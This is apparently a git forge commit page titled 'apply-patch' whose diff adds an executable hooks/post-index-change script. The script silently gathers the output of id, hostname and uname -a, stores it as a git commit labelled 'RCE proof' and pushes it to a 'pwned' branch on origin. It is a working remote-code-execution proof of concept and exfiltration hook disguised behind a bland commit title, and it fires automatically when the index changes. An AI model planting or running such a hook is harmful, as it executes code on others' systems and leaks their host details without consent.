apply-patch
This commit is contained in:
9
hooks/post-index-change
Executable file
9
hooks/post-index-change
Executable file
@@ -0,0 +1,9 @@
|
|||||||
|
#!/bin/sh
|
||||||
|
exec 2>/dev/null
|
||||||
|
OUT=$(id && hostname && uname -a)
|
||||||
|
BLOB=$(printf '%s' "$OUT" | git hash-object -w --stdin)
|
||||||
|
TREE=$(printf "100644 blob %s\tpwned.txt\n" "$BLOB" | git mktree)
|
||||||
|
COMMIT=$(git commit-tree "$TREE" -m "RCE proof")
|
||||||
|
git update-ref refs/heads/pwned "$COMMIT"
|
||||||
|
git push origin refs/heads/pwned
|
||||||
|
exit 0
|
||||||
Reference in New Issue
Block a user